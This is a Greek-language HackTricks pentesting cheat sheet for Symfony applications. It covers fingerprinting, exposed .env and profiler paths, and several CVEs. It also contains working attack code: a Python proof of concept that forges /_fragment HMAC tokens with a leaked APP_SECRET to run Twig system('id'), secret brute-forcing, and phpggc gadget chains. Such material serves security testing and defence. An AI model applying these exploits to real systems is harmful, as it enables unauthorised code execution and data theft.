Symfony
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το Symfony είναι ένα από τα πιο ευρέως χρησιμοποιούμενα PHP frameworks και εμφανίζεται τακτικά σε αξιολογήσεις στόχων επιχείρησης, ηλεκτρονικού εμπορίου και CMS (Drupal, Shopware, Ibexa, OroCRM … όλα ενσωματώνουν στοιχεία του Symfony). Αυτή η σελίδα συγκεντρώνει επιθετικές συμβουλές, κοινές κακές ρυθμίσεις και πρόσφατες ευπάθειες που θα πρέπει να έχετε στη λίστα ελέγχου σας όταν ανακαλύπτετε μια εφαρμογή Symfony.
Ιστορική σημείωση: Ένα μεγάλο μέρος του οικοσυστήματος εξακολουθεί να τρέχει την έκδοση 5.4 LTS (EOL Νοέμβριος 2025). Πάντα να επαληθεύετε την ακριβή μικρή έκδοση γιατί πολλές από τις συμβουλές ασφαλείας 2023-2025 διορθώθηκαν μόνο σε patch releases (π.χ. 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- HTTP response headers:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
ή cookies που ξεκινούν μεsf_redirect
,sf_session
,MOCKSESSID
. - Διαρροές πηγαίου κώδικα (
composer.json
,composer.lock
,/vendor/…
) συχνά αποκαλύπτουν την ακριβή έκδοση:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Δημόσιες διαδρομές που υπάρχουν μόνο στο Symfony:
/_profiler
(Symfony Profiler & debug toolbar)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(όμορφες σελίδες σφαλμάτων)/app_dev.php
,/config.php
,/config_dev.php
(προ-4.0 dev front-controllers)- Wappalyzer, BuiltWith ή ffuf/feroxbuster wordlists:
symfony.txt
→ αναζητήστε/_fragment
,/_profiler
,.env
,.htaccess
.
Interesting files & endpoints
Path | Why it matters |
---|---|
/.env , /.env.local , /.env.prod | Συχνά κακώς αναπτυχθέντα → διαρροές APP_SECRET , DB creds, SMTP, AWS keys |
/.git , .svn , .hg | Διαρροή πηγής → διαπιστευτήρια + επιχειρηματική λογική |
/var/log/*.log , /log/dev.log | Κακή ρύθμιση web-root εκθέτει stack-traces |
/_profiler | Πλήρης ιστορία αιτημάτων, ρύθμιση, κοντέινερ υπηρεσιών, APP_SECRET (≤ 3.4) |
/_fragment | Σημείο εισόδου που χρησιμοποιείται από ESI/HInclude. Κατάχρηση δυνατή μόλις γνωρίζετε το APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE αν είναι προσβάσιμο (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & μερικές φορές διαρροή εξαιρέσεων |
High-impact Vulnerabilities (2023-2025)
1. APP_SECRET disclosure ➜ RCE via /_fragment
(aka “secret-fragment”)
- CVE-2019-18889 αρχικά, αλλά ακόμα εμφανίζεται σε σύγχρονους στόχους όταν το debug παραμένει ενεργοποιημένο ή το
.env
είναι εκτεθειμένο. - Μόλις γνωρίζετε το 32-char
APP_SECRET
, δημιουργήστε ένα HMAC token και καταχραστείτε τον εσωτερικό ελεγκτήrender()
για να εκτελέσετε αυθαίρετο Twig:
# PoC – απαιτεί το μυστικό
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Εξαιρετική περιγραφή & σενάριο εκμετάλλευσης: Ambionics blog (συνδεδεμένο στις Αναφορές).
2. Windows Process Hijack – CVE-2024-51736
- Το στοιχείο
Process
αναζητούσε τον τρέχοντα κατάλογο εργασίας πριν από τοPATH
στα Windows. Ένας επιτιθέμενος που μπορεί να ανεβάσειtar.exe
,cmd.exe
, κ.λπ. σε ένα εγγράψιμο web-root και να ενεργοποιήσει τοProcess
(π.χ. εξαγωγή αρχείων, δημιουργία PDF) αποκτά εκτέλεση εντολών. - Διορθώθηκε στην 5.4.50, 6.4.14, 7.1.7.
3. Session-Fixation – CVE-2023-46733
- Ο φρουρός αυθεντικοποίησης επαναχρησιμοποίησε ένα υπάρχον ID συνεδρίας μετά την είσοδο. Εάν ένας επιτιθέμενος ρυθμίσει το cookie πριν από την αυθεντικοποίηση του θύματος, καταλαμβάνει τον λογαριασμό μετά την είσοδο.
4. Twig sandbox XSS – CVE-2023-46734
- Σε εφαρμογές που εκθέτουν πρότυπα ελεγχόμενα από τον χρήστη (admin CMS, κατασκευαστής email) ο φίλτρο
nl2br
θα μπορούσε να καταχραστεί για να παρακάμψει την άμμο και να εισάγει JS.
5. Symfony 1 gadget chains (ακόμα βρέθηκαν σε κληρονομημένες εφαρμογές)
phpggc symfony/1 system id
παράγει ένα Phar payload που ενεργοποιεί RCE όταν συμβαίνει unserialize() σε κλάσεις όπωςsfNamespacedParameterHolder
. Ελέγξτε τα endpoints μεταφόρτωσης αρχείων και τα wrappersphar://
.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce αδύναμου APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE μέσω εκτεθειμένου Symfony Console
Αν το bin/console
είναι προσβάσιμο μέσω php-fpm
ή άμεσης μεταφόρτωσης CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Χρησιμοποιήστε gadgets αποδοχής μέσα στον κατάλογο cache ή γράψτε ένα κακόβουλο Twig template που θα εκτελείται στην επόμενη αίτηση.
Σημειώσεις άμυνας
- Ποτέ μην αναπτύσσετε debug (
APP_ENV=dev
,APP_DEBUG=1
) σε παραγωγή; αποκλείστε το/app_dev.php
,/_profiler
,/_wdt
στη ρύθμιση του web-server. - Αποθηκεύστε μυστικά σε env vars ή
vault/secrets.local.php
, ποτέ σε αρχεία προσβάσιμα μέσω του document-root. - Επιβάλετε τη διαχείριση patches – εγγραφείτε σε συμβουλές ασφαλείας του Symfony και διατηρήστε τουλάχιστον το επίπεδο patch LTS.
- Εάν τρέχετε σε Windows, αναβαθμίστε αμέσως για να μετριάσετε το CVE-2024-51736 ή προσθέστε μια άμυνα βάθους
open_basedir
/disable_functions
.
Χρήσιμα επιθετικά εργαλεία
- ambionics/symfony-exploits – secret-fragment RCE, ανακάλυψη διαδρομών debugger.
- phpggc – Έτοιμες αλυσίδες gadgets για Symfony 1 & 2.
- sf-encoder – μικρός βοηθός για τον υπολογισμό του
_fragment
HMAC (υλοποίηση Go).
Αναφορές
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.